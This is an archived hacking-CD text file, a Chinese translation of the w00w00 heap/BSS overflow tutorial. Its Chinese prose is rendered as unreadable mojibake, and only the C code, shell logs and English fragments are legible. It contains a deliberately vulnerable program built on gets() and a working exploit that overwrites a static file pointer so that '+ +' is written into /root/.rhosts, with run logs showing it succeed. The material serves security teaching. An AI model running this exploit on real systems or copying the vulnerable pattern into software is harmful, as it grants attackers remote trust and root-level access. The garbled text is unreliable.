home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / articles / heaptut-chinese.txt < prev    next >
Encoding:
Text File  |  2002-01-24  |  33.9 KB  |  1,099 lines

  1.  
  2.             Heap/BSS ╥τ│÷╗·└φ╖╓╬÷
  3.  
  4.                     warning3<@hotmail.com>
  5.                      1999.12
  6.  
  7.  
  8. [╟░╤╘ú║                                        ]
  9. [    ╒Γ╞¬╬─╒┬╓≈╥¬╩╟╗∙╙┌w00w00╖ó▒φ╡─:                        ]
  10. [        w00w00 on Heap Overflows                ]
  11. [By: Matt Conover & w00w00 Security Team                    ]
  12. [-----------------------------------------------------------------------]
  13. [Copyright (C) January 1999, Matt Conover & w00w00 Security Development    ]
  14. [  ╥▓▓╣│Σ┴╦╥╗╨⌐│╠╨≥║═╫╘╝║╡─╧δ╖¿.                    ]
  15. [  ╖╟│ú╕╨╨╗Matt Conover╕°╙Φ╡─╚╚╟Θ░∩╓·.                                  ]
  16. [  (Thank Matt for his great work and help)                             ]
  17. [  ─π┐╔╥╘┤╙╧┬├µ╡─╡╪╓╖╗±╚í╘¡╬─:                        ]
  18. [  http://http://www.w00w00.org/articles.html                ]
  19. [  ╙╔╙┌╩▒╝Σ╜╧╜⌠ú¼╩Φ┬⌐╓«┤ª─╤├Γú¼╚╬║╬╥Γ╝√║═╜¿╥Θ╟δ╖ó╕°warning3@hotmail.com ]
  20.  
  21.  
  22.     ╦Σ╚╗╗∙╙┌Heap(╢╤)/BSS╡─╥τ│÷╧╓╘┌╩╟╧α╡▒╞╒▒Θ╡─ú¼╡½▓ó├╗╙╨╢α╔┘╜Θ╔▄╦ⁿ╡─╫╩┴╧íú
  23. ▒╛╬─╜½░∩─π└φ╜Γ╩▓├┤╩╟Heap╥τ│÷ú¼╥▓╜Θ╔▄┴╦╝╕╓╓│ú╙├╡─╣Ñ╗≈╖╜╖¿ú¼═¼╩▒╕°│÷┴╦╥╗╨⌐┐╔
  24. ─▄╡─╜Γ╛÷╖╜░╕íú╘─╢┴▒╛╬─ú¼─·╨Φ╥¬┴╦╜Γ╥╗╨⌐╗π▒αú¼C╙∩╤╘╥╘╝░╢╤╒╗╥τ│÷╡─╗∙▒╛╓¬╩╢íú
  25.  
  26. ╥╗.╬¬╩▓├┤Heap/BSS╥τ│÷║▄╓╪╥¬ú┐
  27. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  28.  
  29.    ╢╤╒╗╥τ│÷╡─╬╩╠Γ╥╤╛¡╣π╬¬╚╦╓¬ú¼╘╜└┤╘╜╢α╡─▓┘╫≈╧╡═│╔╠╝╥╘÷╝╙┴╦▓╗┐╔╓┤╨╨╢╤╒╗╡─▓╣
  30. ╢íú¼╥╗╨⌐╕÷╚╦╥▓╠ß╣⌐┴╦╫╘╝║╡─▓╣╢íú¼╧≤╓°├√╡─Solar Designer╠ß╣⌐╡─╒δ╢╘Linux╡─▓╗┐╔
  31. ╓┤╨╨╢╤╒╗╡─kernel patch(─┐╟░╥╤╛¡═╞│÷┴╦╙├╙┌2.2.13─┌║╦╡─patch)ú¼╥▓╙╨╥╗╨⌐╚╦┐¬╖ó
  32. ┴╦╥╗╨⌐▒α╥δ╞≈└┤╖└╓╣╢╤╒╗╥τ│÷ú¼╧≤Crispin Cowan╡╚┐¬╖ó╡─StackGuard╡╚╡╚íú╒Γ╨⌐╖╜╖¿
  33. ╢╝╥╗╢¿│╠╢╚╔╧┐╔╥╘╝⌡╔┘╙╔╢╤╒╗╥τ│÷╡╝╓┬╡─░▓╚½╬╩╠Γú¼╡½╩╟▓ó╚┤▓╗─▄╖└╓╣Heap/BSS╡─╥τ│÷íú
  34. ╘┌┤≤╢α╩²╡─▓┘╫≈╧╡═│╓╨ú¼Heap║═BSS╢╬╢╝╩╟┐╔╨┤┐╔╓┤╨╨╡─íú╒Γ╛═╩╣╡├Heap/BSS╡─╥τ│÷│╔
  35. ╬¬┐╔─▄íú
  36.  
  37.     
  38. ┤≤▓┐╖╓╡─╗∙╙┌heap╡─╥τ│÷╢╝╩╟▓╗╥└└╡╙┌╧╡═│║═╙▓╝■╜ß╣╣╡─ú¼╒Γ╜½╘┌║≤├µ╜°╥╗▓╜╜Θ╔▄íú
  39.  
  40. ╢■.╥╗╨⌐╕┼─ε
  41. ~~~~~~~~~~~
  42.  
  43.     ╥╗╕÷┐╔╓┤╨╨╡─╬─╝■ú¿▒╚╚τ│ú╝√╡─ELF--Executable and Linking 
  44. Format╕±╩╜╡─┐╔╓┤╨╨
  45. ╬─╝■)═¿│ú░ⁿ║¼╢α╕÷╢╬ú¼▒╚╚τú║PLT(╣²│╠┴¼╜╙▒φú⌐ú¼GOT(╚½╛╓╞½╥╞▒φú⌐,init(░ⁿ║¼╘┌│⌡╩╝╗»
  46. ╩▒╓┤╨╨╡─╓╕┴εú⌐ú¼fini(░ⁿ║¼│╠╨≥╓╒╓╣╩▒╥¬╓┤╨╨╡─╓╕┴εú⌐ú¼╥╘╝░ctors║═dtors(░ⁿ║¼╥╗╨⌐╚½
  47. ╛╓╣╣╘∞╓╕┴ε║═╬÷╣╣╓╕┴εú⌐
  48.  
  49. ╦∙╬╜HEAPú¼╛═╩╟╙╔╙ª╙├│╠╨≥╢»╠¼╖╓┼Σ╡──┌┤µ╟°íú╘┌╒Γ└∩ú¼"╙╔╙ª╙├│╠╨≥"└┤╖╓┼Σ╩╟╓╡╡├╠╪▒≡╫ó
  50. ╥Γ╡─ú¼╥≥╬¬╘┌╥╗╕÷║├╡─▓┘╫≈╧╡═│╓╨ú¼┤≤▓┐╖╓╡──┌┤µ╟°╩╡╝╩╔╧╩╟╘┌─┌║╦╥╗╝╢▒╗╢»╠¼╖╓┼Σ╡─ú¼╢°
  51. Heap╢╬╘≥╩╟╙╔╙ª╙├│╠╨≥└┤╖╓┼Σ╡─íú╦ⁿ╘┌▒α╥δ╡─╩▒║≥▒╗│⌡╩╝╗»íú
  52. BSS╢╬░ⁿ║¼╬┤▒╗│⌡╩╝╗»╡─╩²╛▌ú¼╘┌│╠╨≥╘╦╨╨╡─╩▒║≥▓┼▒╗╖╓┼Σíú╘┌▒╗╨┤╚δ╩²╛▌╟░ú¼╦ⁿ╩╝╓╒▒ú│╓
  53. ╚½┴πú¿╓┴╔┘┤╙╙ª╙├│╠╨≥╡─╜╟╢╚┐┤╩╟╒Γ╤∙╡─ú⌐
  54.    
  55. ╘┌┤≤▓┐╖╓╡─╧╡═│╓╨ú¼Heap╢╬╩╟╧≥╔╧╘÷│ñ╡─ú¿╧≥╕▀╓╖╖╜╧≥╘÷│ñú⌐íú╥≥┤╦ú¼╡▒╬╥├╟╦╡"X╘┌Y╡─
  56. ╧┬├µ"╩▒,╛═╩╟╓╕"X╡─╡╪╓╖╡═╙┌Y╡─╡╪╓╖"íú
  57.  
  58.  
  59. ╫ó╥Γú║╧┬├µ╠ß╡╜╡─"╗∙╙┌heap╡─╥τ│÷"╝╚░ⁿ║¼HEAP╢╬╡─╥τ│÷ú¼╥▓░ⁿ║¼BSS╢╬╡─╥τ│÷íú
  60.  
  61. ╚².Heap/BSS╥τ│÷╣Ñ╗≈
  62.  
  63.     
  64. ╘┌╒Γ╥╗▓┐╖╓╓╨╬╥├╟╜½╜Θ╔▄╝╕╓╓▓╗═¼╡─└√╙├Heap/BSS╥τ│÷╡─╖╜╖¿íú┤≤▓┐╖╓╡─└²╫╙╢╝╩╟╒δ╢╘
  65. x86 
  66. Unix╧╡═│╡─íú╫÷╥╗╨⌐╩╩╡▒╡─╕─▒Σú¼╥▓┐╔╥╘╙├╙┌DOS║═Windows╧╡═│íú╬╥├╟╥▓╜Θ╔▄┴╦╝╕╓╓╫¿
  67. ├┼╒δ╢╘DOS/Windows╡─╣Ñ╗≈╖╜╖¿íú
  68.  
  69. ╫ó╥Γú║
  70.     
  71. ╘┌▒╛╬─╓╨ú¼╬¬┴╦╝≥╡Ñ╞≡╝√ú¼╬╥├╟╩╣╙├┴╦╛½╚╖╡─╞½╥╞┴┐íú╞½╥╞┴┐▒╪╨δ╙δ╩╡╝╩╡─╓╡╧α╡╚ú¼╣Ñ
  72. ╗≈│╠╨≥▓┼─▄╣ñ╫≈íú╡▒╚╗─π╥▓┐╔╥╘╧≤═¿│ú╡─╢╤╒╗╣Ñ╗≈╖╜╖¿─╟╤∙ú¼═¿╣²╠ß╣⌐╢α╕÷╖╡╗╪╡╪╓╖╝░▓σ╚δ
  73. ┐╒╓╕┴ε╡╚╖╜╖¿╥╘╘÷╝╙│╔╣ª╡─╗·┬╩íú
  74.  
  75.     ╧┬├µ╡─╒Γ╕÷└²╫╙╩╟╕°─╟╨⌐▓╗╩∞╧ñHeap╥τ│÷╡─╚╦┐┤╡─ú¼╬╥╗ß╫÷╥╗╨⌐╝≥╡Ñ╡─╜Γ╩═ú║
  76. -----------------------------------------------------------------------------
  77.    /* ╤▌╩╛╘┌heap╢╬(╥╤│⌡╩╝╗»╡─╩²╛▌)╖ó╔·╡─╢»╠¼╗║│σ╟°╥τ│÷    */
  78.  
  79.    #include <stdio.h>
  80.    #include <stdlib.h>
  81.    #include <unistd.h>
  82.    #include <string.h>
  83.  
  84.    #define BUFSIZE 16
  85.    #define OVERSIZE 8 /* ╬╥├╟╜½╕▓╕╟buf2╡─╟░OVERSIZE╕÷╫╓╜┌ */
  86.  
  87.    int main()
  88.    {
  89.       u_long diff;
  90.       char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);
  91.  
  92.       diff = (u_long)buf2 - (u_long)buf1;
  93.       printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes\n", buf1, buf2, 
  94. diff, diff);
  95.  
  96.       memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';/* 
  97. ╜½buf2╙├'A'╠ε│Σ */
  98.  
  99.       printf("before overflow: buf2 = %s\n", buf2);
  100.       memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /* 
  101. ╙├diff+OVERSIZE╕÷'B'╠ε│Σbuf1 */
  102.       printf("after overflow: buf2 = %s\n", buf2);
  103.  
  104.       return 0;
  105.    }
  106. -----------------------------------------------------------------------------
  107. ╡▒╬╥├╟╘╦╨╨╦ⁿ║≤ú¼╡├╡╜╧┬├µ╡─╜ß╣√ú║
  108. [warning3@testserver basic]$ ./heap1 8
  109. buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes
  110. before overflow: buf2 = AAAAAAAAAAAAAAA
  111. after overflow: buf2 = BBBBBBBBAAAAAAA
  112.  
  113. ╬╥├╟┐┤╡╜buf2╡─╟░8╕÷╫╓╜┌▒╗╕▓╕╟┴╦íú╒Γ╩╟╥≥╬¬═∙buf1╓╨╠ε╨┤╡─╩²╛▌│¼│÷┴╦╦ⁿ╡─▒▀╜τ╜°╚δ┴╦
  114. buf2╡─╖╢╬ºíú╙╔╙┌buf2╡─╩²╛▌╚╘╚╗╘┌╙╨╨º╡─heap╟°─┌ú¼│╠╨≥╚╘╚╗┐╔╥╘╒²│ú╜ß╩°íú┴φ═Γ╬╥├╟
  115. ┐╔╥╘╫ó╥Γ╡╜ú¼╦Σ╚╗buf1║═buf2╩╟╧α╝╠╖╓┼Σ╡─ú¼╡½╦√├╟▓ó▓╗╩╟╜⌠░ñ╫┼╡─ú¼╢°╩╟╙╨8╕÷╫╓╜┌╡─╝Σ
  116. ╛αú¼╒Γ╕÷╝Σ╛α┐╔─▄╦µ▓╗═¼╡─╧╡═│╗╖╛│╢°▓╗═¼íú
  117.  
  118.         buf1        ╝Σ╛α    buf2
  119. ╕▓╕╟╟░:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA]
  120.     ╡═╓╖ -----------------------------------> ╕▀╓╖
  121. ╕▓╕╟║≤:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA]
  122.  
  123. ╫ó╥Γú║
  124.    
  125. ╥╗╕÷╫Φ╓╣heap╥τ│÷╡─┐╔─▄╡─╖╜╖¿╛═╩╟╘┌heap╢╬╡─╦∙╙╨▒Σ┴┐╓«╝Σ╖┼╥╗╕÷"canary"╓╡(╛═╧≤
  126.    StackGuard╓╨╦∙╫÷╡──╟╤∙ú⌐,╚⌠╒Γ╕÷╓╡╘┌╓┤╨╨╓╨▒╗╕─▒Σú¼╛═╚╧╬¬╖ó╔·┴╦╥τ│÷íú
  127.  
  128. ╬¬┴╦╜Γ╩═BSS╢╬╡─╥τ│÷ú¼╬╥├╟└┤┐┤╧┬├µ╒Γ╕÷└²╫╙ú║
  129. -----------------------------------------------------------------------------
  130. /* ╤▌╩╛╘┌BSS╢╬(╬┤▒╗│⌡╩╝╗»╡─╩²╛▌)╡─╛▓╠¼╗║│σ╟°╥τ│÷ */
  131.  
  132. #include <stdio.h>
  133. #include <stdlib.h>
  134. #include <unistd.h>
  135. #include <string.h>
  136. #include <errno.h>
  137.  
  138. #define ERROR -1
  139. #define BUFSIZE 16
  140.  
  141. int main(int argc, char **argv)
  142. {
  143.    u_long diff;
  144.  
  145.    int oversize;
  146.    static char buf1[BUFSIZE], buf2[BUFSIZE];
  147.  
  148.    if (argc <= 1)
  149.    {
  150.       fprintf(stderr, "Usage: %s <numbytes>\n", argv[0]);
  151.       fprintf(stderr, "[Will overflow static buffer by <numbytes>]\n");
  152.  
  153.       exit(ERROR);
  154.    }
  155.  
  156.    diff = (u_long)buf2 - (u_long)buf1;
  157.  
  158.    printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n",
  159.           buf1, buf2, diff, diff);
  160.  
  161.    memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1);
  162.    buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';
  163.  
  164.    printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2);
  165.  
  166.    oversize = diff + atoi(argv[1]);
  167.    memset(buf1, 'B', oversize);
  168.  
  169.    buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';
  170.    printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2);
  171.  
  172.    return 0;
  173. }
  174. -----------------------------------------------------------------------------
  175. ╡▒╬╥├╟╘╦╨╨╦ⁿ║≤ú¼╡├╡╜╧┬├µ╡─╜ß╣√ú║
  176. [warning3@testserver basic]$ ./heap2 8
  177. buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes
  178.  
  179. before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA
  180. after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA
  181.  
  182. ║═heap╥τ│÷└α╦╞ú¼buf2╡─╟░8╕÷╫╓╜┌╥▓▒╗╕▓╕╟┴╦íú╬╥├╟╥▓┐╔╥╘╫ó╥Γ╡╜ú¼buf1║═buf2╩╟╜⌠░ñ╫┼
  183. ╡─ú¼╒Γ╥Γ╬╢╫┼╬╥├╟┐╔╥╘▓╗╙├▓┬▓Γbuf1║═buf2╓«╝Σ╡─╝Σ╛α.
  184.  
  185.         buf1        buf2
  186. ╕▓╕╟╟░:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA]
  187.     ╡═╓╖ ----------------------> ╕▀╓╖
  188. ╕▓╕╟║≤:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA]
  189.  
  190. ┤╙╔╧├µ┴╜╕÷╝≥╡Ñ╡─└²╫╙ú¼╬╥├╟┐╔╥╘╙ª╕├╥╤╛¡┴╦╜ΓHeap/BSS╥τ│÷╡─╗∙▒╛╖╜╩╜┴╦íú╬╥├╟─▄╙├╦ⁿ
  191. └┤╕▓╕╟╥╗╕÷╬─╝■├√ú¼┐┌┴ε╗≥╒▀╩╟▒ú┤µ╡─uid╡╚╡╚...
  192. ╧┬├µ╒Γ╕÷└²╫╙╤▌╩╛┴╦╥╗╕÷╓╕╒δ╩╟╚τ║╬▒╗╕▓╕╟╡─:
  193. -----------------------------------------------------------------------------
  194.    /* ╤▌╩╛╘┌BSS╢╬(╬┤▒╗│⌡╩╝╗»╡─╩²╛▌)╓╨╡─╛▓╠¼╓╕╒δ╥τ│÷ */
  195.  
  196.    #include <stdio.h>
  197.    #include <stdlib.h>
  198.    #include <unistd.h>
  199.    #include <string.h>
  200.    #include <errno.h>
  201.  
  202.    #define BUFSIZE 16
  203.    #define ADDRLEN 4 /* ╓╕╒δ╡╪╓╖╡─│ñ╢╚ */
  204.  
  205.    int main()
  206.    {
  207.       u_long diff;
  208.       static char buf[BUFSIZE], *bufptr;
  209.  
  210.       bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
  211.  
  212.       printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
  213.              &bufptr, bufptr, buf, diff, diff);
  214.  
  215.       memset(buf, 'A', (u_int)(diff + ADDRLEN));/* 
  216. ╜½diff+ADDRLEN╫╓╜┌╡─'A'╠ε│Σ╡╜buf╓╨ */
  217.  
  218.       printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
  219.              &bufptr, bufptr, buf, diff, diff);
  220.  
  221.       return 0;
  222.    }
  223. -----------------------------------------------------------------------------
  224. ╡▒╬╥├╟╘╦╨╨╦ⁿ║≤ú¼╡├╡╜╧┬├µ╡─╜ß╣√ú║
  225. [warning3@testserver basic]$ ./heap3
  226. bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes
  227. bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes
  228.  
  229.         buf      bufptr
  230. ╕▓╕╟╟░:[xxxxxxxxxxxxxxxx][0x08049630]
  231.     ╡═╓╖ ------------------> ╕▀╓╖
  232. ╕▓╕╟║≤:[AAAAAAAAAAAAAAAA][0x41414141]
  233.                          [AAAA]
  234.  
  235. ╬╥├╟┐╔╥╘║▄╟σ│■╡─┐┤╡╜ú¼╧╓╘┌╓╕╒δbufptr╧╓╘┌╓╕╧≥╥╗╕÷▓╗═¼╡─╡╪╓╖(0x41414141).
  236. ╚τ║╬└√╙├╒Γ╥╗╡π─╪ú┐└²╚τ╬╥├╟┐╔╥╘╓╪╨┤╥╗╕÷┴┘╩▒╬─╝■├√╡─╓╕╒δú¼╩╣╞Σ╓╕╧≥╥╗╕÷▓╗═¼╡─╫╓╖√
  237. ┤«(▒╚╚τ 
  238. argv[1]╗≥╩╟╙╔╬╥├╟╠ß╣⌐╡──│╕÷╗╖╛│▒Σ┴┐),╦ⁿ┐╔╥╘░ⁿ║¼"/root/.rhosts"╗≥"/etc/
  239. passwd"....
  240.  
  241.     
  242. ╬¬┴╦╦╡├≈╒Γ╥╗╡πú¼╬╥├╟╘┘└┤┐┤╥╗╕÷└²╫╙íú╒Γ╕÷│╠╨≥╗ß╙├╥╗╕÷┴┘╩▒╬─╝■└┤┤ó┤µ╙├╗º╩Σ╚δ╡─
  243. ╩²╛▌íú
  244. -----------------------------------------------------------------------------
  245.    /*
  246.     * ╒Γ╩╟╥╗╕÷║▄╡Σ╨═╡─╙╨╚⌡╡π╡─│╠╨≥íú╦ⁿ╜½╙├╗º╡─╔ε╚δ┤ó┤µ╘┌╥╗╕÷┴┘╩▒╬─╝■╓╨íú
  247.     *
  248.     *
  249.     * ▒α╥δ╖╜╖¿: gcc -o vulprog1 vulprog1.c
  250.     */
  251.  
  252.    #include <stdio.h>
  253.    #include <stdlib.h>
  254.    #include <unistd.h>
  255.    #include <string.h>
  256.    #include <errno.h>
  257.  
  258.    #define ERROR -1
  259.    #define BUFSIZE 16
  260.  
  261.    /*
  262.     * ╜½╣Ñ╗≈│╠╨≥╥╘root╔φ╖▌╘╦╨╨╗≥╒▀╕─▒Σ╣Ñ╗≈│╠╨≥╓╨"vulfile"╡─╓╡íú
  263.     * ╖±╘≥ú¼╝┤╩╣╣Ñ╗≈│╠╨≥│╔╣ªú¼╦ⁿ╥▓▓╗╗ß╙╨╚¿╧▐╨▐╕─/root/.rhosts(╚▒╩í╡─└²╫╙)
  264.     *
  265.     */
  266.  
  267.    int main(int argc, char **argv)
  268.    {
  269.       FILE *tmpfd;
  270.       static char buf[BUFSIZE], *tmpfile;
  271.  
  272.       if (argc <= 1)
  273.       {
  274.          fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
  275.          exit(ERROR);
  276.       }
  277.  
  278.       tmpfile = "/tmp/vulprog.tmp"; /* ╒Γ└∩╘▌╩▒▓╗┐╝┬╟┴┤╜╙╬╩╠Γ :) */
  279.       printf("before: tmpfile = %s\n", tmpfile);
  280.  
  281.       printf("Enter one line of data to put in %s: ", tmpfile);
  282.       gets(buf);          /* ╡╝╓┬buf╥τ│÷ */
  283.  
  284.       printf("\nafter: tmpfile = %s\n", tmpfile);
  285.  
  286.       tmpfd = fopen(tmpfile, "w");
  287.       if (tmpfd == NULL)
  288.       {
  289.          fprintf(stderr, "error opening %s: %s\n", tmpfile,
  290.                  strerror(errno));
  291.  
  292.          exit(ERROR);
  293.       }
  294.  
  295.       fputs(buf, tmpfd);        /* ╜½buf╠ß╣⌐╡─╩²╛▌┤µ╚δ┴┘╩▒╬─╝■ */
  296.       fclose(tmpfd);
  297.    }
  298.  
  299. -----------------------------------------------------------------------------
  300. ╒Γ╕÷└²╫╙╓╨╡─╟Θ╨╬╘┌▒α│╠╩▒╩╟║▄╚▌╥╫╖ó╔·╡─ú¼║▄╢α╚╦╥╘╬¬╙├╛▓╠¼╩²╫Θ║═╛▓╠¼╓╕╒δ╛═╗ß▒╚╜╧
  301. ░▓╚½ú¼┐┤┴╦╧┬├µ╡─╣Ñ╗≈│╠╨≥ú¼╬╥╧δ─π╛═▓╗╗ß╒Γ├┤╧δ┴╦.:-)
  302. -----------------------------------------------------------------------------
  303.    /*
  304.     * Copyright (C) January 1999, Matt Conover & WSD
  305.     *
  306.     * ╒Γ╕÷│╠╨≥╜½╙├└┤╣Ñ╗≈vulprog1.c.╦ⁿ┤½╩Σ▓╬╩²╕°╙╨╚⌡╡π╡─│╠╨≥íú╙╨╚⌡╡π╡─│╠╨≥
  307.     * ╥╘╬¬╜½╬╥├╟╩Σ╚δ╡─╥╗╨╨╩²╛▌┤ó┤µ╡╜┴╦╥╗╕÷┴┘╩▒╬─╝■└∩íú╚╗╢°ú¼╥≥╬¬╖ó╔·┴╦╛▓╠¼
  308.     * ╗║│σ╟°╥τ│÷╡─╘╡╣╩ú¼╬╥├╟┐╔╥╘╨▐╕─╒Γ╕÷┴┘╩▒╬─╝■╡─╓╕╒δú¼╚├╦ⁿ╓╕╧≥argv[1](╬╥├╟
  309.     * 
  310. ╜½┤½╡▌"/root/.rhosts"╕°╦ⁿú⌐íú╚╗║≤│╠╨≥╛═╗ß╜½╬╥├╟╠ß╣⌐╡─╩Σ╚δ╩²╛▌┤µ╘┌"/root
  311.     * /.rhosts"╓╨íú╦∙╥╘╬╥├╟╙├└┤╕▓╕╟╗║│σ╟°╡─╫╓╖√┤«╜½╗ß╩╟╧┬├µ╡─╕±╩╜ú║
  312.     *   [+ + # ][(tmpfile╡╪╓╖) - (buf ╡╪╓╖)╕÷╫╓╖√'A'][argv[1]╡─╡╪╓╖]
  313.     *
  314.     * "+ +"║≤├µ╕·╫┼'#'║┼╩╟╬¬┴╦╖└╓╣╬╥├╟╡─╥τ│÷┤·┬δ│÷╬╩╠Γíú├╗╙╨'#'(╫ó╩═╖√),╩╣╙├
  315.     * .rhosts╡─│╠╨≥╛═╗ß┤φ╬≤╜Γ╩═╬╥├╟╡─╥τ│÷┤·┬δíú
  316.     *
  317.     * ▒α╥δ╖╜╖¿: gcc -o exploit1 exploit1.c
  318.     */
  319.  
  320.    #include <stdio.h>
  321.    #include <stdlib.h>
  322.    #include <unistd.h>
  323.    #include <string.h>
  324.  
  325.    #define BUFSIZE 256
  326.  
  327.    #define DIFF 16 /* vulprog╓╨buf║═tmpfile╓«╝Σ╡─╝Σ╛α */
  328.  
  329.    #define VULPROG "./vulprog1"
  330.    #define VULFILE "/root/.rhosts" /* buf ╓╨╡──┌╚▌╜½▒╗┤ó┤µ╘┌╒Γ╕÷╬─╝■╓╨ */
  331.  
  332.    /* ╡├╡╜╡▒╟░╢╤╒╗╡─espú¼╙├└┤╝╞╦πargv[1]╡─╡╪╓╖ */
  333.    u_long getesp()
  334.    {
  335.       __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
  336.    }
  337.  
  338.    int main(int argc, char **argv)
  339.    {
  340.       u_long addr;
  341.  
  342.       register int i;
  343.       int mainbufsize;
  344.  
  345.       char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
  346.  
  347.       /* ------------------------------------------------------ */
  348.       if (argc <= 1)
  349.       {
  350.          fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
  351.          exit(ERROR);
  352.       }
  353.       /* ------------------------------------------------------ */
  354.  
  355.       memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /* 
  356. ╜½╣Ñ╗≈┤·┬δ╠ε╚δbuf */
  357.  
  358.       memset(buf + strlen(buf), 'A', DIFF); /* ╙├'A'╠ε┬·╩ú╙α╡─buf┐╒╝Σ */
  359.       addr = getesp() + atoi(argv[1]);        /* ╝╞╦πargv[1]╡─╡╪╓╖ */
  360.  
  361.       /* ╜½╡╪╓╖╖┤╨≥┼┼┴╨(╘┌╨íendian╧╡═│╓╨)║≤┤µ╚δbuf+DIFF┤ª */
  362.       for (i = 0; i < sizeof(u_long); i++)
  363.          buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
  364.       /* ╝╞╦πmainbuf╡─│ñ╢╚ */
  365.       mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;
  366.  
  367.       mainbuf = (char *)malloc(mainbufsize);
  368.       memset(mainbuf, 0, sizeof(mainbuf));
  369.  
  370.       snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
  371.                buf, VULPROG, VULFILE);
  372.  
  373.       printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
  374.              addr, VULFILE);
  375.  
  376.       system(mainbuf);
  377.       return 0;
  378.    }
  379.  
  380. -----------------------------------------------------------------------------
  381.  
  382. [root@testserver vulpkg1]# ./exploit1 349
  383. Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after.
  384.  
  385. before: tmpfile = /tmp/vulprog.tmp
  386. Enter one line of data to put in /tmp/vulprog.tmp:
  387. after: tmpfile = /vulprog1
  388.  
  389. ╬╥├╟┐┤╡╜╧╓╘┌tmpfile╓╕╧≥argv[0]("./vulprog1"), 
  390. ╬╥├╟╘÷╝╙10╕÷╫╓╜┌(argv[0]╡─│ñ╢╚):
  391.  
  392. [root@testserver vulpkg1]# ./exploit1 359
  393. Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after.
  394.  
  395. before: tmpfile = /tmp/vulprog.tmp
  396. Enter one line of data to put in /tmp/vulprog.tmp:
  397. after: tmpfile = /root/.rhosts
  398. [root@testserver vulpkg1]# cat /root/.rhosts
  399. + +     # AAAAAAAAAAw?┐AA
  400.  
  401.            buf            tmpfile
  402. ╕▓╕╟║≤ú║[+ +\t# AAAAAAAAAA][0x123445678]
  403.  
  404. ╬╥├╟╥╤╛¡│╔╣ª╡─╜½"+ +"╠φ╝╙╡╜┴╦/root/.rhosts╓╨úí╣Ñ╗≈│╠╨≥╕▓╕╟┴╦vulprog╙├└┤╜╙╩▄
  405. gets()╩Σ╚δ╡─╛▓╠¼╗║│σ╟°ú¼▓ó╜½▓┬▓Γ╡─argv[1]╡─╡╪╓╖╕▓╕╟tmpfile.╬╥├╟┐╔╥╘╘┌mainbuf╓╨
  406. ╖┼╓├╚╬╥Γ│ñ╢╚╡─'A'╓▒╡╜╖ó╧╓╢α╔┘╕÷'A'▓┼─▄╡╜┤∩tmpfile╡─╡╪╓╖íú╚τ╣√─π╙╨╚⌡╡π│╠╨≥╘┤┬δ╡─
  407. ╗░ú¼┐╔╥╘╘÷╝╙"printf()"└┤╧╘╩╛│÷▒╗╕▓╕╟╡─╩²╛▌╙δ─┐▒Ω╩²╛▌╓«╝Σ╡─╛α└δú¿▒╚╚τú║
  408. 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').
  409.  
  410. ╡½═¿│ú╒Γ╕÷╞½╥╞┴┐╘┌▒α╥δ╡─╩▒║≥╗ß╖ó╔·╕─▒Σú¼╡½╬╥├╟┐╔╥╘║▄╚▌╥╫╡─╓╪╨┬╝╞╦π/▓┬▓Γ╔⌡╓┴
  411. "▒⌐┴ª"▓┬▓Γ╒Γ╕÷╞½╥╞┴┐.
  412.  
  413. ╫ó╥Γú║
  414.  
  415.    ╬╥├╟╨Φ╥¬╥╗╕÷╙╨╨º╡─╡╪╓╖(argv[1]╡─╡╪╓╖),╬╥├╟▒╪╨δ╜½╫╓╜┌╦│╨≥╖┤╧≥(╘┌little 
  416. endian
  417.    ╧╡═│╓╨).Little endian╧╡═│═¿│ú╩╟╡═╫╓╜┌╘┌╟░(x86╛═╩╟little endian╧╡═│).
  418.    ╥≥┤╦0x12345678╘┌─┌┤µ╓╨╛═╩╟░┤0x78563412╡─╦│╨≥┤µ╖┼íú╚τ╣√╬╥├╟╩╟╘┌big 
  419. endian╧╡═│
  420.    ╓╨╫÷╒Γ╨⌐ú¿▒╚╚τsparc)ú¼╬╥├╟╛═▓╗▒╪╫÷╖┤╨≥╡─┤ª└φ┴╦íú
  421.  
